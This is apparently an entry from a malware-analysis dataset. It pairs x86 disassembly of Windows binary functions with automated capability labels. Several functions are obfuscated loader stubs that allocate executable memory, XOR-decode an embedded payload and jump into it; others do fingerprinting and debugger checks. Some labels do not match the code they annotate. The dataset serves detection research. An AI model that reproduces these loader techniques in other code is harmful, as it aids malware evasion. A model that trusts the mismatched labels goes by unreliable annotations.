joyce8/EMBER2024-capa huggingface dataset:
Function at 0x6d7af430
Capabilities:
Create process on windows

Disassembly:
push ebp
lea ebp, [esp - 0x224]
sub esp, 0x2a4
mov eax, dword [0x6d7f05c8]
xor eax, ebp
mov dword [ebp + 0x220], eax
mov eax, dword [ebp + 0x230]
push ebx
mov ebx, dword [ebp + 0x22c]
push esi
push edi
push 0x44
pop edi
xor esi, esi
push edi
mov dword [ebp + 0x14], eax
lea eax, [ebp - 0x80]
push esi
push eax
mov dword [ebp + 0x10], esi
call fcn.6d7b8a20
lea eax, [ebp + 0x18]
mov dword [ebp - 0x80], edi
mov edi, dword [sym.imp.USER32.dll_wsprintfA]
push ebx
push eax
call edi
push dword [ebp + 0x14]
lea eax, [ebp + 0x11c]
push ebx
push str._s__s
push eax
call edi
add esp, 0x24
lea eax, [ebp]
push eax
lea eax, [ebp - 0x80]
push eax
push esi
push esi
push esi
push esi
push esi
push esi
lea eax, [ebp + 0x11c]
push eax
lea eax, [ebp + 0x18]
push eax
call dword [sym.imp.kernel32.dll_CreateProcessA]
cmp eax, esi
jne 0x6d7af51f
call dword [sym.imp.kernel32.dll_GetLastError]
cmp eax, 0x2e4
jne 0x6d7af556
push 0x3c
pop edi
push edi
lea eax, [ebp - 0x3c]
push esi
push eax
call fcn.6d7b8a20
lea eax, [ebp + 0x11c]
mov dword [ebp - 0x2c], eax
add esp, 0xc
lea eax, [ebp - 0x3c]
push eax
mov dword [ebp - 0x3c], edi
mov dword [ebp - 0x38], 0x40
mov dword [ebp - 0x34], esi
mov dword [ebp - 0x30], esi
mov dword [ebp - 0x28], 0x6d7e3aae
mov dword [ebp - 0x24], esi
mov dword [ebp - 0x20], 5
mov dword [ebp - 0x1c], esi
call dword [sym.imp.SHELL32.dll_ShellExecuteExA]
cmp eax, esi
je 0x6d7af552
mov eax, dword [ebp - 4]
cmp eax, esi
je 0x6d7af552
mov dword [ebp], eax
push dword [ebp]
call fcn.6d7a6aaf
or dword [ebp + 0x14], 0xffffffff
lea eax, [ebp + 0x14]
push eax
push dword [ebp]
call dword [sym.imp.kernel32.dll_GetExitCodeProcess]
test eax, eax
je 0x6d7af547
xor eax, eax
cmp dword [ebp + 0x14], esi
sete al
mov dword [ebp + 0x10], eax
push dword [ebp]
call dword [sym.imp.kernel32.dll_CloseHandle]
jmp 0x6d7af55b
xor eax, eax
jmp 0x6d7af55e
call fcn.6d7b404c
mov eax, dword [ebp + 0x10]
mov ecx, dword [ebp + 0x220]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.6d7b886c
add ebp, 0x224
leave
ret
Function at 0x6d7b0fe2
Capabilities:
Query or enumerate registry key

Disassembly:
push ebp
lea ebp, [esp - 0x17a0]
mov eax, 0x1820
call fcn.6d7b89f0
mov eax, dword [0x6d7f05c8]
xor eax, ebp
mov dword [ebp + 0x179c], eax
push ebx
push esi
mov esi, dword [ebp + 0x17a8]
push edi
mov edi, dword [ebp + 0x17ac]
xor ebx, ebx
push str.FORCED_FX_ROOT
lea eax, [ebp - 0x6c]
push ebx
push eax
mov dword [ebp - 0x80], edi
mov dword [ebp - 0x7c], ebx
mov dword [ebp - 0x74], ebx
mov dword [ebp - 0x6c], ebx
mov byte [ebp - 0x64], bl
call fcn.6d7bb452
add esp, 0xc
cmp dword [ebp - 0x6c], ebx
je 0x6d7b105d
cmp eax, ebx
jne 0x6d7b105d
push str.2.0
push dword [ebp + 0x17b0]
push edi
call fcn.6d7b404c
push dword [ebp - 0x6c]
call fcn.6d7b404c
add esp, 0x10
jmp 0x6d7b11c1
cmp esi, ebx
jne 0x6d7b1070
mov dword [ebp - 0x74], 1
mov byte [ebp + 0x79c], bl
jmp 0x6d7b10b5
mov eax, esi
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x6d7b1075
sub eax, edx
lea eax, [esi + eax - 1]
mov cl, byte [eax]
cmp cl, 0x2b
jne 0x6d7b1092
mov dword [ebp - 0x74], 1
jmp 0x6d7b109e
cmp cl, 0x2a
jne 0x6d7b10a0
mov dword [ebp - 0x7c], 1
mov byte [eax], bl
push esi
lea eax, [ebp + 0x79c]
push 0x800
push eax
call fcn.6d7b404c
add esp, 0xc
lea eax, [ebp - 0x68]
push eax
push 0x20019
push ebx
push 0x6d7e47b8
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x6d7b119e
mov edi, dword [sym.imp.ADVAPI32.dll_RegEnumKeyExA]
push ebx
push ebx
push ebx
push ebx
lea eax, [ebp - 0x78]
push eax
lea eax, [ebp + 0xf9c]
push eax
mov dword [ebp - 0x70], ebx
push ebx
jmp 0x6d7b118a
push str.1.9.0
lea eax, [ebp + 0xf9c]
push eax
call dword [sym.imp.kernel32.dll_lstrcmpiA]
test eax, eax
js 0x6d7b1175
push dword [ebp - 0x74]
lea eax, [ebp + 0x79c]
push dword [ebp - 0x7c]
push eax
lea eax, [ebp + 0xf9c]
push eax
call fcn.6d7b404c
add esp, 0x10
test eax, eax
je 0x6d7b1175
lea esi, [ebp - 0x64]
lea eax, [ebp + 0xf9c]
mov cl, byte [eax]
cmp cl, byte [esi]
jne 0x6d7b1154
cmp cl, bl
je 0x6d7b1150
mov cl, byte [eax + 1]
cmp cl, byte [esi + 1]
jne 0x6d7b1154
add eax, 2
add esi, 2
cmp cl, bl
jne 0x6d7b1134
xor eax, eax
jmp 0x6d7b1159
sbb eax, eax
sbb eax, 0xffffffff
cmp eax, ebx
jle 0x6d7b1175
lea eax, [ebp + 0xf9c]
push eax
lea eax, [ebp - 0x64]
push 0x800
push eax
call fcn.6d7b404c
add esp, 0xc
inc dword [ebp - 0x70]
push ebx
push ebx
push ebx
push ebx
lea eax, [ebp - 0x78]
push eax
lea eax, [ebp + 0xf9c]
push eax
push dword [ebp - 0x70]
push dword [ebp - 0x68]
mov dword [ebp - 0x78], 0x800
call edi
test eax, eax
je 0x6d7b10f5
mov eax, dword [ebp + 0x17b0]
lea ecx, [eax - 1]
push ecx
lea ecx, [ebp - 0x64]
push ecx
push eax
push dword [ebp - 0x80]
call fcn.6d7b404c
add esp, 0x10
push dword [ebp - 0x68]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp + 0x179c]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.6d7b886c
add ebp, 0x17a0
leave
ret
Function at 0x6d7b2421
Capabilities:
Get geographical location

Disassembly:
push ebp
lea ebp, [esp - 0x7d8]
sub esp, 0x858
mov eax, dword [0x6d7f05c8]
xor eax, ebp
mov dword [ebp + 0x7d4], eax
mov eax, dword [ebp + 0x7e4]
push ebx
push esi
mov esi, dword [ebp + 0x7e0]
push edi
push esi
mov dword [ebp - 0x78], eax
call dword [sym.imp.GDI32.dll_SaveDC]
push 2
push esi
mov dword [ebp - 0x74], eax
call dword [sym.imp.GDI32.dll_SetGraphicsMode]
push 1
xor ebx, ebx
push ebx
push esi
call dword [sym.imp.GDI32.dll_ModifyWorldTransform]
push ebx
push ebx
push ebx
push esi
call dword [sym.imp.GDI32.dll_SetViewportOrgEx]
push ebx
push ebx
push ebx
push esi
call dword [sym.imp.GDI32.dll_SetWindowOrgEx]
mov edi, dword [sym.imp.GDI32.dll_GetDeviceCaps]
push 0x58
push esi
call edi
mov dword [ebp - 0x6c], eax
fild dword [ebp - 0x6c]
push 0x5a
push esi
fstp dword [ebp - 0x70]
call edi
mov dword [ebp - 0x6c], eax
fild dword [ebp - 0x6c]
fstp dword [ebp - 0x6c]
fld dword [ebp - 0x70]
fmul qword [0x6d7e4b38]
fld qword [0x6d7e4b30]
fdiv st(1), st(0)
fxch st(1)
call fcn.6d7b8b70
mov dword [ebp - 0x80], eax
mov eax, dword [ebp + 0x7e8]
imul eax, eax, 0xa
mov dword [ebp - 0x70], eax
fild dword [ebp - 0x70]
fmul dword [ebp - 0x6c]
fdivrp st(1)
call fcn.6d7b8b70
mov dword [ebp - 0x7c], eax
push 1
lea eax, [ebp - 0x80]
push eax
push esi
call dword [sym.imp.GDI32.dll_DPtoLP]
fild dword [ebp - 0x7c]
fabs
fdiv qword [0x6d7e4b28]
fadd qword [0x6d7e4b20]
call fcn.6d7b8b70
neg eax
mov dword [ebp - 0x68], eax
mov eax, 0x800
push eax
lea ecx, [ebp - 0x2c]
push ecx
push 0x1002
push eax
mov dword [ebp - 0x64], ebx
mov dword [ebp - 0x60], ebx
mov dword [ebp - 0x5c], ebx
mov dword [ebp - 0x58], ebx
mov dword [ebp - 0x54], ebx
mov dword [ebp - 0x50], ebx
call dword [sym.imp.kernel32.dll_GetLocaleInfoA]
push 5
lea eax, [ebp - 0x2c]
push 0x6d7e4aec
push eax
call fcn.6d7b404c
add esp, 0xc
test eax, eax
lea eax, [ebp - 0x4c]
jne 0x6d7b254b
push 0x6d7e4af4
jmp 0x6d7b254e
push dword [ebp - 0x78]
push 0x20
push eax
call fcn.6d7b404c
add esp, 0xc
lea eax, [ebp - 0x68]
push eax
call dword [sym.imp.GDI32.dll_CreateFontIndirectA]
push dword [ebp - 0x74]
mov edi, eax
push esi
call dword [sym.imp.GDI32.dll_RestoreDC]
mov ecx, dword [ebp + 0x7d4]
mov eax, edi
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.6d7b886c
add ebp, 0x7d8
leave
ret 0xc
Function at 0x6d7b404c
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
pushal
call 0x6d7b405b
pop dword [ebp - 0x20]
mov eax, 0x6d7b405b
sub dword [ebp - 0x20], eax
push 0x40
push 0x1000
push 0x45af4
push 0
mov eax, 0xe3933a7d
sub eax, 0x7615187d
add eax, dword [ebp - 0x20]
call dword [eax]
mov ecx, 0x50eb
xor edx, edx
add edx, eax
mov edi, 0xc901589
add edi, 0x60f3ba77
add edi, dword [ebp - 0x20]
mov esi, 0xc312f3d7
sub esi, 0xdc54267d
xor dword [ebp - 0xc], 0xbde37110
mov ebx, dword [edi]
xor dword [ebp - 0x14], 0x528aa768
sub ebx, esi
xor dword [ebp - 0x1c], edi
mov dword [edx], ebx
xor dword [ebp - 0x1c], edx
add edx, 0x91d7c4d4
sub edx, 0x91d7c4d0
add edi, 0xdacbb334
sub edi, 0xdacbb330
loop 0x6d7b40b1
add eax, 0x1367f
mov ebx, eax
add eax, 5
mov ecx, 0xeb37f12b
sub ecx, 0x7dbdf12b
add ecx, dword [ebp - 0x20]
call ebx
leave
ret
Function at 0x6d7b504b
Capabilities:
Get geographical location

Disassembly:
push ebp
lea ebp, [esp - 0x7d8]
sub esp, 0x858
mov eax, dword [0x6d7f05c8]
xor eax, ebp
mov dword [ebp + 0x7d4], eax
mov eax, dword [ebp + 0x7e4]
push ebx
push esi
mov esi, dword [ebp + 0x7e0]
push edi
push esi
mov dword [ebp - 0x78], eax
call dword [sym.imp.GDI32.dll_SaveDC]
push 2
push esi
mov dword [ebp - 0x74], eax
call dword [sym.imp.GDI32.dll_SetGraphicsMode]
push 1
xor ebx, ebx
push ebx
push esi
call dword [sym.imp.GDI32.dll_ModifyWorldTransform]
push ebx
push ebx
push ebx
push esi
call dword [sym.imp.GDI32.dll_SetViewportOrgEx]
push ebx
push ebx
push ebx
push esi
call dword [sym.imp.GDI32.dll_SetWindowOrgEx]
mov edi, dword [sym.imp.GDI32.dll_GetDeviceCaps]
push 0x58
push esi
call edi
mov dword [ebp - 0x6c], eax
fild dword [ebp - 0x6c]
push 0x5a
push esi
fstp dword [ebp - 0x70]
call edi
mov dword [ebp - 0x6c], eax
fild dword [ebp - 0x6c]
fstp dword [ebp - 0x6c]
fld dword [ebp - 0x70]
fmul qword [0x6d7e4b38]
fld qword [0x6d7e4b30]
fdiv st(1), st(0)
fxch st(1)
call fcn.6d7b8b70
mov dword [ebp - 0x80], eax
mov eax, dword [ebp + 0x7e8]
imul eax, eax, 0xa
mov dword [ebp - 0x70], eax
fild dword [ebp - 0x70]
fmul dword [ebp - 0x6c]
fdivrp st(1)
call fcn.6d7b8b70
mov dword [ebp - 0x7c], eax
push 1
lea eax, [ebp - 0x80]
push eax
push esi
call dword [sym.imp.GDI32.dll_DPtoLP]
fild dword [ebp - 0x7c]
fabs
fdiv qword [0x6d7e4b28]
fadd qword [0x6d7e4b20]
call fcn.6d7b8b70
neg eax
cmp dword [ebp + 0x7ec], ebx
mov dword [ebp - 0x68], eax
setne al
mov byte [ebp - 0x53], al
mov eax, dword [ebp + 0x7f0]
neg eax
sbb eax, eax
and eax, 0x2bc
mov dword [ebp - 0x64], ebx
mov dword [ebp - 0x60], ebx
mov dword [ebp - 0x5c], ebx
mov byte [ebp - 0x54], bl
mov dword [ebp - 0x52], ebx
mov word [ebp - 0x4e], bx
mov dword [ebp - 0x58], eax
mov eax, 0x800
push eax
lea ecx, [ebp - 0x2c]
push ecx
push 0x1002
push eax
call dword [sym.imp.kernel32.dll_GetLocaleInfoA]
push 5
lea eax, [ebp - 0x2c]
push str.Japan
push eax
call fcn.6d7b404c
add esp, 0xc
test eax, eax
lea eax, [ebp - 0x4c]
je 0x6d7b5192
push dword [ebp - 0x78]
jmp 0x6d7b5197
push 0x6d7e4dc0
push 0x20
push eax
call fcn.6d7b404c
add esp, 0xc
lea eax, [ebp - 0x68]
push eax
call dword [sym.imp.GDI32.dll_CreateFontIndirectA]
push dword [ebp - 0x74]
mov edi, eax
push esi
call dword [sym.imp.GDI32.dll_RestoreDC]
mov ecx, dword [ebp + 0x7d4]
mov eax, edi
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.6d7b886c
add ebp, 0x7d8
leave
ret 0x14
Function at 0x6d7b61f6
Capabilities:
Get cpu information
Query or enumerate registry value

Disassembly:
push ebp
lea ebp, [esp - 0x78]
sub esp, 0x8c
mov eax, dword [0x6d7f05c8]
xor eax, ebp
mov dword [ebp + 0x74], eax
push esi
lea eax, [ebp - 0x10]
push eax
push 0x20019
push 0
push str.HARDWAREDESCRIPTIONSystemCentralProcessor0
xor esi, esi
push reloc.OLEAUT32.dll_SysReAllocString
mov dword [ebp - 0x14], 0x80
inc esi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x6d7b6268
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0xc]
push eax
push 0
push 0
push str.identifier
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x6d7b6268
push str.ia64
lea eax, [ebp - 0xc]
push eax
call dword [sym.imp.kernel32.dll_lstrcmpiA]
test eax, eax
jne 0x6d7b6268
xor esi, esi
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp + 0x74]
mov eax, esi
xor ecx, ebp
pop esi
call fcn.6d7b886c
add ebp, 0x78
leave
ret

Function at 0x6d7b886c
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x6d7f05c8]
jne 0x6d7b8876
repz ret
jmp fcn.6d7bfa4c

Function at 0x6d7dee03
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
cmp dword [0x6d7f7248], 0
push esi
push edi
jne 0x6d7ded74
call fcn.6d7decce
test eax, eax
je 0x6d7dedb9
mov eax, dword [0x6d7f7248]
cmp eax, 1
jne 0x6d7ded95
push 0xd
push 0
call dword [sym.imp.kernel32.dll_GetProcessHeap]
push eax
call dword [sym.imp.kernel32.dll_HeapAlloc]
test eax, eax
je 0x6d7dedb9
jmp 0x6d7dedfb
mov edi, dword [sym.imp.kernel32.dll_InterlockedPopEntrySList]
push eax
call edi
test eax, eax
jne 0x6d7dedfb
push 0x40
mov eax, 0x1000
push eax
push eax
push 0
call dword [sym.imp.kernel32.dll_VirtualAlloc]
mov esi, eax
test esi, esi
jne 0x6d7dedbd
xor eax, eax
jmp 0x6d7dedfb
mov eax, dword [esi]
push dword [0x6d7f7248]
call edi
mov edi, eax
test edi, edi
je 0x6d7deddf
push 0x8000
push 0
push esi
call dword [sym.imp.kernel32.dll_VirtualFree]
mov eax, edi
jmp 0x6d7dedfb
lea edi, [esi + 0xff0]
push esi
push dword [0x6d7f7248]
call dword [sym.imp.kernel32.dll_InterlockedPushEntrySList]
add esi, 0x10
cmp esi, edi
jb 0x6d7dede5
mov eax, esi
pop edi
pop esi
ret
jmp 0x6d7ded60
Function at 0x40644e
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
pushal
call 0x40645d
pop dword [ebp - 0x10]
mov eax, 0x21f91362
sub eax, 0x21b8af05
sub dword [ebp - 0x10], eax
mov dword [ebp - 0x20], 0xff76ffd0
sub dword [ebp - 0x20], 0xb124ba85
mov dword [ebp - 0x1c], 0x9d2fcfb1
sub dword [ebp - 0x1c], 0x6afc836c
mov dword [ebp - 0x18], 0xf3faaf3b
add dword [ebp - 0x18], 0x585194f3
mov dword [ebp - 0x14], 0xf2cf1f0
add dword [ebp - 0x14], 0xf0d30e10
lea eax, [ebp - 0x20]
push eax
mov eax, 0x94a439eb
sub eax, 0x9463b973
add eax, dword [ebp - 0x10]
call dword [eax]
mov dword [ebp - 0x20], 0x84e4e772
add dword [ebp - 0x20], 0xef8d81e4
mov dword [ebp - 0x1c], 0x53563ea9
sub dword [ebp - 0x1c], 0x11e9dd34
mov dword [ebp - 0x18], 0xb9bf40c2
sub dword [ebp - 0x18], 0x564fd456
mov dword [ebp - 0x14], 0xa98b44a5
add dword [ebp - 0x14], 0x5674bb5b
lea ebx, [ebp - 0x20]
push ebx
push eax
mov eax, 0x512bae92
sub eax, 0x50eb2e16
add eax, dword [ebp - 0x10]
call dword [eax]
push 0x40
push 0x1000
push 0x39e0f
push 0
call eax
mov ecx, 0xde6bd6c1
sub ecx, 0xde6b8373
mov ebx, eax
mov esi, 0xf2df8ced
sub esi, 0xf29a78ed
add esi, dword [ebp - 0x10]
mov edi, 0xbe14063f
add edi, 0x116bad45
xor dword [ebp - 8], ebx
mov edx, dword [esi]
add dword [ebp - 0xc], 0xaf3240e3
sub edx, edi
xor dword [ebp - 0xc], edi
mov dword [ebx], edx
add ebx, 0x6c1b5fba
add ebx, 0x93e4a04a
add esi, 4
loop 0x40657f
add eax, 0x1400b
mov ebx, eax
add eax, 5
mov ecx, 0xb6a8433a
add ecx, 0x4997bcc6
add ecx, dword [ebp - 0x10]
call ebx
leave
ret

Function at 0x4068f3
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
cmp dword [0x43190c], 0
push esi
jne 0x40692a
xor ecx, ecx
push 8
mov eax, ecx
pop esi
mov edx, eax
and dl, 1
neg dl
sbb edx, edx
and edx, 0xedb88320
shr eax, 1
xor eax, edx
dec esi
jne 0x406904
mov dword [ecx*4 + 0x431908], eax
inc ecx
cmp ecx, 0x100
jl 0x4068ff
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 8]
test edx, edx
not eax
jbe 0x40695b
mov ecx, dword [esp + 0xc]
push edi
movzx edi, byte [ecx]
mov esi, eax
and esi, 0xff
xor esi, edi
shr eax, 8
mov esi, dword [esi*4 + 0x431908]
xor eax, esi
inc ecx
dec edx
jne 0x40693d
pop edi
not eax
pop esi
ret 0xc
Function at 0x4013b2
Capabilities:
Encrypt data using tea

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
and dword [ebp - 0x10], 0
push ebx
push esi
push edi
mov edi, ecx
lea ecx, [ebp - 0x10]
mov dword [ebp - 0x34], edi
mov eax, dword [edi]
mov ebx, dword [edi + 4]
mov dword [ebp - 0x14], eax
mov eax, dword [str.gzDX]
mov dword [ebp - 0x24], eax
mov eax, dword [0x41a31c]
mov dword [ebp - 0x2c], eax
call fcn.004013ab
mov esi, dword [ebp - 0x10]
mov ecx, dword [0x41a320]
add esi, 0x23f
mov eax, dword [0x41a324]
push 0x20
mov dword [ebp - 0x10], esi
mov dword [ebp - 0x30], ecx
mov dword [ebp - 0x20], eax
pop edi
mov dword [ebp - 0x18], 2
add dword [ebp - 0x18], 3
mov edx, dword [ebp - 0x14]
mov eax, edx
shl eax, 4
add eax, ecx
mov dword [ebp - 0x1c], 0xedeb2e40
cmp dword [0x4f2d48], 0xfa9
mov dword [ebp - 4], eax
mov eax, dword [0x4f2d44]
cmove eax, dword [ebp - 0x1c]
and dword [ebp - 0x1c], 0
cmp dword [0x4f2d48], 0x3eb
mov dword [0x4f2d44], eax
mov eax, dword [0x4f27d0]
cmove eax, dword [ebp - 0x1c]
mov dword [0x4f27d0], eax
lea eax, [esi + edx]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x14]
shr eax, 5
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
add eax, dword [ebp - 0x20]
xor eax, dword [ebp - 0x1c]
xor eax, dword [ebp - 4]
sub ebx, eax
mov dword [ebp - 8], eax
mov eax, ebx
mov dword [0x4f2d40], 0xf4ea3dee
shl eax, 4
mov dword [ebp - 0x28], ebx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 0x24]
add dword [ebp - 4], eax
xor edx, edx
mov dword [ebp - 0xc], edx
mov eax, dword [ebp - 0x10]
add dword [ebp - 0xc], eax
mov eax, dword [ebp - 0x28]
nop
add dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x1c], eax
mov ecx, dword [ebp - 0x18]
mov eax, ebx
shr eax, cl
mov dword [ebp - 8], eax
mov eax, dword [ebp - 0x2c]
add dword [ebp - 8], eax
mov eax, dword [ebp - 4]
xor eax, dword [ebp - 0x1c]
cmp dword [0x4f2d48], 0xb03
mov dword [ebp - 4], eax
jne 0x4014df
push str.focomonebizihaxinecarimecuweguzubelimibezavotacaxariyetanovuvecogoyifikoxawivikasimuruwudoxasofuye
push edx
push edx
call dword [sym.imp.KERNEL32.dll_OpenMutexW]
mov eax, dword [ebp - 4]
xor eax, dword [ebp - 8]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
sub dword [ebp - 0x14], eax
mov ecx, dword [ebp - 0x30]
add esi, 0x61c88647
mov dword [ebp - 0x10], esi
dec edi
jne 0x401404
mov edi, dword [ebp - 0x34]
mov eax, dword [ebp - 0x14]
mov dword [edi + 4], ebx
mov dword [edi], eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x40d337
Capabilities:
Link many functions at runtime
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x419428]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_EncodePointer]
push esi
push edi
mov dword [ebp - 0x1c], eax
xor esi, esi
mov eax, dword [ebp + 0xc]
push esi
mov dword [ebp - 0x20], eax
call ebx
mov edi, eax
mov dword [ebp - 0x18], edi
call fcn.00407aeb
mov dword [ebp - 0x14], eax
cmp dword [0x4ad4dc], esi
jne 0x40d42a
push 0x800
push esi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
jne 0x40d3b7
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x57
jne 0x40d50a
push esi
push esi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
je 0x40d50a
push str.MessageBoxW
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x40d50a
push eax
call ebx
push str.GetActiveWindow
push edi
mov dword [0x4ad4dc], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetLastActivePopup
push edi
mov dword [0x4ad4e0], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetUserObjectInformationW
push edi
mov dword [0x4ad4e4], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x4ad4ec], eax
test eax, eax
je 0x40d427
push str.GetProcessWindowStation
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x4ad4e8], eax
mov edi, dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x40d44f
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x40d442
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
cmp dword [ebp - 0x14], esi
je 0x40d464
push 4
pop eax
jmp 0x40d50c
cmp dword [ebp - 0x14], esi
je 0x40d464
push dword [0x4ad4dc]
call dword [sym.imp.KERNEL32.dll_DecodePointer]
push 3
jmp 0x40d449
mov eax, dword [0x4ad4e8]
mov ebx, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, edi
je 0x40d4c2
cmp dword [0x4ad4ec], edi
je 0x40d4c2
push eax
call ebx
push dword [0x4ad4ec]
mov dword [ebp - 0x14], eax
call ebx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
test ecx, ecx
je 0x40d4c2
test eax, eax
je 0x40d4c2
call ecx
test eax, eax
je 0x40d4b7
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [ebp - 0x18]
test eax, eax
je 0x40d4b7
test byte [ebp - 8], 1
jne 0x40d4c2
mov edi, dword [ebp + 0x10]
or edi, 0x200000
jmp 0x40d4f2
mov eax, dword [0x4ad4e0]
cmp eax, edi
je 0x40d4ef
push eax
call ebx
test eax, eax
je 0x40d4ef
call eax
mov esi, eax
test esi, esi
je 0x40d4ef
mov eax, dword [0x4ad4e4]
cmp eax, edi
je 0x40d4ef
push eax
call ebx
test eax, eax
je 0x40d4ef
push esi
call eax
mov esi, eax
mov edi, dword [ebp + 0x10]
push dword [0x4ad4dc]
call ebx
test eax, eax
je 0x40d50a
push edi
push dword [ebp - 0x20]
push dword [ebp - 0x1c]
push esi
call eax
jmp 0x40d50c
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00404010
mov esp, ebp
pop ebp
ret
Function at 0x401933
Capabilities:
Access peb ldr_data
Check for peb beingdebugged flag

Disassembly:
mov eax, 0x42683f
call fcn.004256c0
push ecx
push ebx
push esi
mov esi, ecx
xor ebx, ebx
mov dword [ebp - 0x10], esi
lea ecx, [esi + 0x14]
mov byte [esi], bl
mov byte [esi + 1], bl
mov byte [esi + 2], bl
mov byte [esi + 3], bl
mov byte [esi + 4], bl
mov byte [esi + 5], bl
mov dword [esi + 8], ebx
mov dword [esi + 0xc], ebx
mov dword [esi + 0x10], ebx
call fcn.004032ae
lea ecx, [esi + 0x20]
mov dword [ebp - 4], ebx
call fcn.0040198c
lea ecx, [esi + 0x30]
call fcn.004032ae
mov ecx, dword [ebp - 0xc]
mov eax, esi
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret

Function at 0x405386
Capabilities:
Set file attributes

Disassembly:
push edx
push ecx
call dword [sym.imp.kernel32.dll_SetFileAttributesW]
test eax, eax
setne al
ret

Function at 0x405512
Capabilities:
Create directory

Disassembly:
mov eax, 0x426bd0
call fcn.004256c0
sub esp, 0x38
push ebx
push esi
xor ebx, ebx
mov esi, ecx
push ebx
push esi
call dword [sym.imp.kernel32.dll_CreateDirectoryW]
test eax, eax
je 0x405535
mov al, 1
jmp 0x40557b
call dword [sym.imp.kernel32.dll_GetLastError]
cmp eax, 0xb7
je 0x405546
xor al, al
jmp 0x40557b
lea ecx, [ebp - 0x44]
call fcn.0040573f
lea ecx, [ebp - 0x1c]
call fcn.004032ae
push ebx
push esi
lea ecx, [ebp - 0x44]
mov dword [ebp - 4], ebx
call fcn.0040598d
test al, al
je 0x405570
mov ebx, dword [ebp - 0x24]
shr ebx, 4
and bl, 1
push dword [ebp - 0x1c]
call fcn.00403a73
pop ecx
mov al, bl
mov ecx, dword [ebp - 0xc]
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret

Function at 0x40597e
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ecx
call dword [sym.imp.kernel32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x40598c
or eax, eax
ret

Function at 0x406d48
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
pushal
call 0x406d57
pop dword [ebp - 4]
mov eax, 0x2e503a03
sub eax, 0x2e0fccac
sub dword [ebp - 4], eax
push 0x40
push 0x1000
push 0x386ca
push 0
mov eax, 0xc896fac4
add eax, 0x37ab9568
add eax, dword [ebp - 4]
call dword [eax]
mov ecx, 0x70c26bc2
add ecx, 0x8f3dd9de
xor ebx, ebx
add ebx, eax
mov edx, 0xe8701b4a
sub edx, 0xe82cad4a
add edx, dword [ebp - 4]
mov edi, 0xdf027071
add edi, 0x3285e47
mov esi, dword [edx]
xor esi, edi
mov dword [ebx], esi
add ebx, 0xaa5b63f5
sub ebx, 0xaa5b63f1
add edx, 4
loop 0x406db8
add eax, 0xa5e5fb
sub eax, 0xa4dca8
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x400000
add ecx, dword [ebp - 4]
call ebx
leave
ret